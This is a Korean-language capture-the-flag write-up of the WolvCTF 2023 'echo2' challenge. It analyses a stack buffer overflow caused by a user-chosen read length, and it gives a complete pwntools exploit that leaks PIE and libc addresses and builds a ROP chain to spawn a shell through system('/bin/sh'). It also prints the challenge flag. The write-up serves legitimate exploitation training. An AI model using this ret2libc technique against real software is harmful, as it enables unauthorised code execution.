WolvCTF 2023 - echo2 (pwn, bof)

New and improved echo?
nc echotwo.wolvctf-2023.kctf.cloud 1337

  • [21 solves / 489 points]

Analysis

아쉽게도 이 문제는 소스코드가 없다. IDA로 열심이 열어서 분석해봤다.

1
2
3
4
5
6
7
8
9
10
11
int echo()
{
char ptr[264]; // [rsp+0h] [rbp-110h] BYREF
int v2; // [rsp+108h] [rbp-8h] BYREF
int v3; // [rsp+10Ch] [rbp-4h]

puts("Welcome to Echo2");
v3 = __isoc99_scanf("%d", &v2);
fread(ptr, 1uLL, v2, stdin);
return printf("Echo2: %s\n", ptr);
}

입력값 크기를 직접 조절할 수 있다. 가뿐히 BOF가 발생한다.

Solve

pie가 걸려있는데 어떻게 함수가 종료되고 다시 main을 실행시킬 수 있을까? 1.5바이트가 일정한데 0.5바이트가 2였기 때문에 아래 \x47, \x4b, \x4c 를 찍어가며 ㅎㅎ.. main으로 이동시키려고 노력했다. stack align이 안맞아서 \x4c으로 이동했다.


pie가 걸려있기 때문에 leak을 해줘야 한다. pop rdi가 바이너리에 없기 때문에 libc를 leak해야 할 때 약간 고민했는데 다음 명령어를 실행할 때 레지스터가 아래와 같았기 때문에 rdi를 건드릴 필요가 없어졌다.

1
$rdi   : 0x007ffdd808f940  →  0x007ff4dec620d0  →  <funlockfile+0> endbr64

바로 printf를 실행해주고 main으로 돌려준 다음 libc의 pop rdi를 이용하여 system('/bin/sh')를 실행해주면 된다.

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

# p = process('./chall')
p = remote('echotwo.wolvctf-2023.kctf.cloud', 1337)
e = ELF('./chall')
libc = ELF('./libc.so.6')

payload = b''
payload += b'a' * 0x117 + b'b'
payload += b'\x4c'

p.sendafter('2\n', str(len(payload)))
# pause()
p.send(payload)

p.recvuntil(b'b')
pie_leak = u64(p.recv(6).ljust(8, b'\x00'))
e.address = pie_leak - 0x124C
info(hex(pie_leak))
info(hex(e.address))

# no pop rdi
# no libc address in stack
# $rdi : 0x007ffdd808f940 → 0x007ff4dec620d0 → <funlockfile+0> endbr64
ret = e.address + 0x101a

payload = b''
payload += b'a' * 0x117 + b'b'
payload += p64(ret)
payload += p64(e.sym['printf'])
payload += p64(ret)
payload += p64(e.sym['main'])

p.sendafter('2\n', str(len(payload)))
pause()
p.send(payload)

libc_leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc.address = libc_leak - 0x620d0
info(hex(libc_leak))
info(hex(libc.address))

pop_rdi = libc.address + 0x2a3e5

payload = b''
payload += b'a' * 0x117 + b'b'
payload += p64(pop_rdi)
payload += p64(next(libc.search(b'/bin/sh\x00')))
payload += p64(ret)
payload += p64(libc.sym['system'])

p.sendafter('2\n', str(len(payload)))
pause()
p.send(payload)

p.interactive()

Flag

1
wctf{w3l1_m4yb3_th4t_w45_a_b4d_id3a}